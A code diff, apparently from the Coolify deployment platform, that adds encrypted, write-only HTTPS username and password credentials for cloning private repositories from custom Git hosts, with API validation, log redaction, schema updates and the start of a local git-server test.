'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], @@ -1287,7 +1289,7 @@ class ApplicationsController extends Controller if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1322,6 +1324,13 @@ class ApplicationsController extends Controller ], 422); } + if ($type !== 'public' && $request->hasAny(['git_https_username', 'git_https_password'])) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials can only be used with a public or custom Git host repository (POST /applications/public).'], + ], 422); + } + if ($request->filled('docker_compose_raw')) { try { if (! is_string($request->input('docker_compose_raw'))) { @@ -1587,6 +1596,20 @@ class ApplicationsController extends Controller } $repository_url_parsed = Url::fromString($gitRepository); $git_host = $repository_url_parsed->getHost(); + if ($request->filled('git_https_password')) { + if ($git_host === 'github.com') { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials are not used for github.com. Use a GitHub App (POST /applications/private-github-app) for a private GitHub repository.'], + ], 422); + } + $application->git_https_password = $request->input('git_https_password'); + } elseif ($request->filled('git_https_username')) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'], + ], 422); + } if ($git_host === 'github.com') { $application->source_type = GithubApp::class; $application->source_id = GithubApp::find(0)->id; @@ -3099,6 +3122,8 @@ class ApplicationsController extends Controller 'github_app_uuid' => ['type' => 'string', 'description' => 'The Github App UUID.'], 'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'], 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.'], + 'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], @@ -3300,7 +3325,7 @@ class ApplicationsController extends Controller $dnsCleanup = app(ManagedDnsRecordCleanup::class); $previousDnsHostnames = $dnsCleanup->hostnamesOf($application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'git_https_username', 'git_https_password', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', 'github_app_uuid', 'dockerfile', ...self::APPLICATION_SETTING_FIELDS]; $validationRules = [ 'name' => 'string|max:255', @@ -3424,6 +3449,21 @@ class ApplicationsController extends Controller } } + if ($request->hasAny(['git_https_username', 'git_https_password'])) { + if ($application->deploymentType() !== 'other') { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'HTTPS credentials can only be used by applications that clone a repository without a Git source or deploy key.'], + ], 422); + } + if ($request->filled('git_https_username') && ! $request->filled('git_https_password') && blank($application->git_https_password)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['git_https_password' => 'The git_https_password is required with git_https_username.'], + ], 422); + } + } + $applicationSettings = $this->applicationSettingsFromRequest($request); if ($prefixValidation = $this->containerNamePrefixValidationResponse($applicationSettings, $application->destination->server, $application)) { return $prefixValidation; @@ -3683,6 +3723,12 @@ class ApplicationsController extends Controller $requestHasNoindexDomains = $request->has('noindex_domains'); data_forget($data, 'noindex_domains'); $application->fill($data); + if ($request->exists('git_https_password')) { + $application->git_https_password = $request->filled('git_https_password') ? $request->input('git_https_password') : null; + if (blank($application->git_https_password)) { + $application->git_https_username = null; + } + } if ($githubApp && ($application->source_id !== $githubApp->id || $application->source_type !== $githubApp->getMorphClass())) { $application->source_id = $githubApp->id; $application->source_type = $githubApp->getMorphClass(); diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index ec95267419..646c752cea 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3098,7 +3098,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $sshCommand .= " -i {$identityFile} -o IdentitiesOnly=yes"; } - return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + $gitConfigOption = $this->application->gitHttpsCredentialConfigOption(); + $gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git'; + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); } private function check_git_if_build_needed() diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index 5b6ad61eae..20c7a2f093 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -8,6 +8,7 @@ use App\Models\GitlabApp; use App\Models\PrivateKey; use App\Rules\ValidGitBranch; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Validation\ValidationException; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; use Livewire\Component; @@ -39,6 +40,18 @@ class Source extends Component #[Locked] public $sources; + #[Validate(['nullable', 'string', 'max:255', 'regex:/^[^:\r\n]*$/'])] + public ?string $gitHttpsUsername = null; + + /** + * Write-only: the saved password or token is never sent to the browser. + */ + #[Validate(['nullable', 'string', 'max:2048', 'regex:/^[^\r\n]*$/'])] + public ?string $gitHttpsPassword = null; + + #[Locked] + public bool $hasGitHttpsPassword = false; + public function mount() { try { @@ -69,12 +82,19 @@ class Source extends Component { if ($toModel) { $this->validate(); - $this->application->update([ + $this->application->fill([ 'git_repository' => $this->gitRepository, 'git_branch' => $this->gitBranch, 'git_commit_sha' => $this->gitCommitSha, 'private_key_id' => $this->privateKeyId, ]); + if (filled($this->gitHttpsPassword)) { + $this->application->git_https_username = $this->gitHttpsUsername; + $this->application->git_https_password = $this->gitHttpsPassword; + } elseif ($this->hasGitHttpsPassword) { + $this->application->git_https_username = $this->gitHttpsUsername; + } + $this->application->save(); // Refresh to get the trimmed values from the model $this->application->refresh(); $this->syncData(false); @@ -84,6 +104,9 @@ class Source extends Component $this->gitCommitSha = $this->application->git_commit_sha; $this->privateKeyId = $this->application->private_key_id; $this->privateKeyName = data_get($this->application, 'private_key.name'); + $this->gitHttpsUsername = $this->application->git_https_username; + $this->gitHttpsPassword = null; + $this->hasGitHttpsPassword = filled($this->application->git_https_password); } } @@ -137,6 +160,9 @@ class Source extends Component if (str($this->gitCommitSha)->isEmpty()) { $this->gitCommitSha = 'HEAD'; } + if (filled($this->gitHttpsUsername) && blank($this->gitHttpsPassword) && ! $this->hasGitHttpsPassword) { + throw ValidationException::withMessages(['gitHttpsPassword' => 'Enter the password or token for this username.']); + } $this->syncData(true); $this->dispatch('success', 'Application source updated!'); $this->dispatch('configurationChanged'); @@ -145,6 +171,22 @@ class Source extends Component } } + public function removeGitHttpsCredential() + { + try { + $this->authorize('update', $this->application); + $this->application->forceFill([ + 'git_https_username' => null, + 'git_https_password' => null, + ])->save(); + $this->syncData(); + $this->dispatch('success', 'HTTPS credentials removed.'); + $this->dispatch('configurationChanged'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function changeSource($sourceId, $sourceType) { try { diff --git a/app/Mcp/Concerns/BuildsResponse.php b/app/Mcp/Concerns/BuildsResponse.php index ae3899d60f..824a602355 100644 --- a/app/Mcp/Concerns/BuildsResponse.php +++ b/app/Mcp/Concerns/BuildsResponse.php @@ -46,7 +46,7 @@ trait BuildsResponse 'clickhouse_admin_password', // app/env secrets - 'value', 'real_value', 'http_basic_auth_password', + 'value', 'real_value', 'http_basic_auth_password', 'git_https_password', // free-form commands / configurations can embed credentials 'git_full_url', diff --git a/app/Models/Application.php b/app/Models/Application.php index a2dc1d6f62..457c1940e8 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -54,6 +54,7 @@ use Symfony\Component\Yaml\Yaml; 'git_branch' => ['type' => 'string', 'description' => 'Git branch.'], 'git_commit_sha' => ['type' => 'string', 'description' => 'Git commit SHA.'], 'git_full_url' => ['type' => 'string', 'nullable' => true, 'description' => 'Git full URL.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.'], 'docker_registry_image_name' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image name.'], 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image tag.'], 'build_pack' => ['type' => 'string', 'description' => 'Build pack.', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose']], @@ -160,6 +161,8 @@ class Application extends BaseModel 'git_branch', 'git_commit_sha', 'git_full_url', + 'git_https_username', + 'git_https_password', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', @@ -262,6 +265,7 @@ class Application extends BaseModel */ protected $hidden = [ 'http_basic_auth_password', + 'git_https_password', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', @@ -278,6 +282,7 @@ class Application extends BaseModel { return [ 'http_basic_auth_password' => 'encrypted', + 'git_https_password' => 'encrypted', 'http_basic_auth_hash_algorithm' => HttpBasicAuthHashAlgorithm::class, 'manual_webhook_secret_github' => 'encrypted', 'manual_webhook_secret_gitlab' => 'encrypted', @@ -1791,6 +1796,10 @@ class Application extends BaseModel if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); + $gitConfigOption = $this->gitHttpsCredentialConfigOption(); + if ($gitConfigOption) { + $base_command = "git {$gitConfigOption} ls-remote"; + } $base_command = "{$base_command} {$escapedCustomRepository}"; if ($exec_in_docker) { @@ -1807,6 +1816,53 @@ class Application extends BaseModel } } + /** + * Tells if the application clones a private repository from a custom Git host over HTTP(S) with a username and a password or token. + */ + public function usesGitHttpsCredential(): bool + { + return filled($this->git_https_password) + && $this->deploymentType() === 'other' + && $this->gitHttpsCredentialOrigin() !== null; + } + + /** + * The value of the Basic auth header for the HTTPS credential, also used to redact it from logs. + */ + public function gitHttpsCredentialBasicToken(): ?string + { + if (blank($this->git_https_password)) { + return null; + } + + return base64_encode(($this->git_https_username ?? '').':'.$this->git_https_password); + } + + /** + * A `git -c` option that sends the HTTPS credential as a Basic auth header, only to the host of the repository. + * Git does not save `-c` options in .git/config, and it passes them on to submodule and Git LFS commands. + */ + public function gitHttpsCredentialConfigOption(): ?string + { + if (! $this->usesGitHttpsCredential()) { + return null; + } + + return '-c '.escapeshellarg("http.{$this->gitHttpsCredentialOrigin()}.extraHeader=Authorization: Basic {$this->gitHttpsCredentialBasicToken()}"); + } + + private function gitHttpsCredentialOrigin(): ?string + { + $url = parse_url((string) $this->git_repository); + $scheme = strtolower($url['scheme'] ?? ''); + if (! in_array($scheme, ['http', 'https'], true) || blank($url['host'] ?? null)) { + return null; + } + $port = isset($url['port']) ? ":{$url['port']}" : ''; + + return "{$scheme}://{$url['host']}{$port}/"; + } + private function gitCommand(string $command): array { return [ @@ -2111,8 +2167,11 @@ class Application extends BaseModel if ($this->deploymentType() === 'other') { $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); + $gitConfigOption = $this->gitHttpsCredentialConfigOption(); + $gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git'; + $git_clone_command = str_replace('git clone', "{$gitCommand} clone", $git_clone_command); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); $otherSshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"; if ($pull_request_id !== 0) { @@ -2123,7 +2182,7 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -2131,14 +2190,14 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOption); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"))); } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand, $gitConfigOption); } } diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 81ac70023c..54627e92e8 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -462,6 +462,11 @@ class EnvironmentVariable extends BaseModel } } + if ($resource instanceof Application && filled($resource->git_https_password)) { + $secrets['locked'][] = $resource->git_https_password; + $secrets['locked'][] = $resource->gitHttpsCredentialBasicToken(); + } + $variables = collect($isDatabase ? $resource->runtime_environment_variables : $resource->environment_variables); if ($includePreview && $resource instanceof Application) { $variables = $variables->merge($resource->environment_variables_preview ?? []); diff --git a/app/Services/ServerTransfer/ServerTransferExporter.php b/app/Services/ServerTransfer/ServerTransferExporter.php index 66895c4209..1a5dcc19c2 100644 --- a/app/Services/ServerTransfer/ServerTransferExporter.php +++ b/app/Services/ServerTransfer/ServerTransferExporter.php @@ -864,6 +864,7 @@ class ServerTransferExporter // Ensure hidden encrypted fields are included as plaintext. foreach ([ 'http_basic_auth_password', + 'git_https_password', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index ca356fa16a..1ae75b733f 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -189,6 +189,8 @@ function sharedDataApplications(?Application $application = null): array return [ 'git_repository' => 'string', 'git_branch' => ['string', new ValidGitBranch], + 'git_https_username' => ['string', 'nullable', 'max:255', 'regex:/^[^:\r\n]*$/'], + 'git_https_password' => ['string', 'nullable', 'max:2048', 'regex:/^[^\r\n]*$/'], 'build_pack' => Rule::enum(BuildPackTypes::class), 'is_static' => 'boolean', 'is_spa' => 'boolean', diff --git a/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php b/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php new file mode 100644 index 0000000000..3ce6acfe0e --- /dev/null +++ b/database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php @@ -0,0 +1,23 @@ +string('git_https_username')->nullable(); + $table->text('git_https_password')->nullable(); + }); + } + + public function down(): void + { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn(['git_https_username', 'git_https_password']); + }); + } +}; diff --git a/openapi.json b/openapi.json index db7af84045..8e66b4229a 100644 --- a/openapi.json +++ b/openapi.json @@ -562,6 +562,16 @@ "type": "string", "description": "The git branch." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host (not github.com)." + }, + "git_https_password": { + "type": "string", + "nullable": true, + "description": "Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned." + }, "build_pack": { "type": "string", "enum": [ @@ -3598,6 +3608,16 @@ "type": "string", "description": "The git branch." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host. Send null to remove it." + }, + "git_https_password": { + "type": "string", + "nullable": true, + "description": "Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials." + }, "ports_exposes": { "type": "string", "description": "The ports to expose." @@ -24180,6 +24200,11 @@ "nullable": true, "description": "Git full URL." }, + "git_https_username": { + "type": "string", + "nullable": true, + "description": "Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned." + }, "docker_registry_image_name": { "type": "string", "nullable": true, @@ -24743,6 +24768,9 @@ "is_env_sorting_enabled": { "type": "boolean" }, + "include_coolify_default_variables": { + "type": "boolean" + }, "is_container_label_readonly_enabled": { "type": "boolean" }, diff --git a/openapi.yaml b/openapi.yaml index cbfb3b6131..1af91b1ef5 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -353,6 +353,14 @@ paths: git_branch: type: string description: 'The git branch.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host (not github.com).' + git_https_password: + type: string + nullable: true + description: 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.' build_pack: type: string enum: [nixpacks, railpack, static, dockerfile, dockercompose] @@ -2378,6 +2386,14 @@ paths: git_branch: type: string description: 'The git branch.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host. Send null to remove it.' + git_https_password: + type: string + nullable: true + description: 'Password or access token for HTTPS access to a private repository on a custom Git host. It is stored encrypted and never returned. Send null or an empty string to remove the credentials.' ports_exposes: type: string description: 'The ports to expose.' @@ -15378,6 +15394,10 @@ components: type: string nullable: true description: 'Git full URL.' + git_https_username: + type: string + nullable: true + description: 'Username for HTTPS access to a private repository on a custom Git host. The password or token is never returned.' docker_registry_image_name: type: string nullable: true @@ -15801,6 +15821,8 @@ components: type: boolean is_env_sorting_enabled: type: boolean + include_coolify_default_variables: + type: boolean is_container_label_readonly_enabled: type: boolean is_preserve_repository_enabled: diff --git a/resources/views/livewire/project/application/source.blade.php b/resources/views/livewire/project/application/source.blade.php index bf1b4bdccc..1915a5d9ab 100644 --- a/resources/views/livewire/project/application/source.blade.php +++ b/resources/views/livewire/project/application/source.blade.php @@ -42,6 +42,30 @@ :canResource="$application" />
    + + @if ($application->deploymentType() === 'other') + + @if ($hasGitHttpsPassword) + @can('update', $application) + + + Remove credentials + + + @endcan + @endif +
    + + +
    +
    + @endif @if (filled($privateKeyId)) diff --git a/tests/Feature/GitHttpsCredentialCommandsTest.php b/tests/Feature/GitHttpsCredentialCommandsTest.php new file mode 100644 index 0000000000..36fe3efd82 --- /dev/null +++ b/tests/Feature/GitHttpsCredentialCommandsTest.php @@ -0,0 +1,245 @@ + __DIR__.'/srv', + 'GIT_HTTP_EXPORT_ALL' => '1', + 'GIT_PROTOCOL' => $_SERVER['HTTP_GIT_PROTOCOL'] ?? '', + 'REQUEST_METHOD' => $_SERVER['REQUEST_METHOD'], + 'PATH_INFO' => parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), + 'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '', + 'CONTENT_TYPE' => $_SERVER['CONTENT_TYPE'] ?? '', + 'HTTP_CONTENT_ENCODING' => $_SERVER['HTTP_CONTENT_ENCODING'] ?? '', + 'PATH' => getenv('PATH'), + ]); + fwrite($pipes[0], file_get_contents('php://input')); + fclose($pipes[0]); + [$head, $body] = explode("\r\n\r\n", stream_get_contents($pipes[1]), 2) + [1 => '']; + proc_close($backend); + foreach (explode("\r\n", $head) as $line) { + str_starts_with($line, 'Status:') ? http_response_code((int) substr($line, 8)) : header($line); + } + echo $body; + + return true; + PHP); + + $socket = stream_socket_server('tcp://127.0.0.1:0'); + $port = (int) substr(strrchr(stream_socket_get_name($socket, false), ':'), 1); + fclose($socket); + + $server = new Process([PHP_BINARY, '-S', "127.0.0.1:{$port}", $root.'/router.php'], $root, ['GIT_TEST_CREDENTIALS' => $credentials]); + $server->start(); + for ($i = 0; $i < 100 && ! @fsockopen('127.0.0.1', $port); $i++) { + usleep(50_000); + } + + return [$server, "http://127.0.0.1:{$port}"]; +} + +/** + * Runs the commands like a server does over SSH: one `bash -se` that reads them from stdin. + */ +function runGitHttpsCredentialCommands(string $root, string $commands): Process +{ + $process = new Process(['bash', '-se'], env: ['PATH' => $root.'/bin:'.getenv('PATH'), 'GIT_TERMINAL_PROMPT' => '0']); + $process->setInput($commands."\n"); + $process->setTimeout(60); + $process->run(); + + return $process; +} + +function gitHttpsCredentialApplication(string $repository, array $attributes = []): Application +{ + $application = Application::factory()->create([ + 'git_repository' => $repository, + 'git_branch' => 'main', + 'git_commit_sha' => 'HEAD', + 'build_pack' => 'dockercompose', + 'base_directory' => '/', + 'docker_compose_location' => '/docker-compose.yml', + ...$attributes, + ]); + $application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'plain-test-value'])->save(); + $application->settings->update(['is_git_submodules_enabled' => true, 'is_git_lfs_enabled' => false]); + + return $application->fresh(); +} + +function gitHttpsCredentialNonRootServer(): Server +{ + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu'); + $server->shouldReceive('setAttribute')->andReturnSelf(); + + return $server; +} + +beforeEach(function () { + 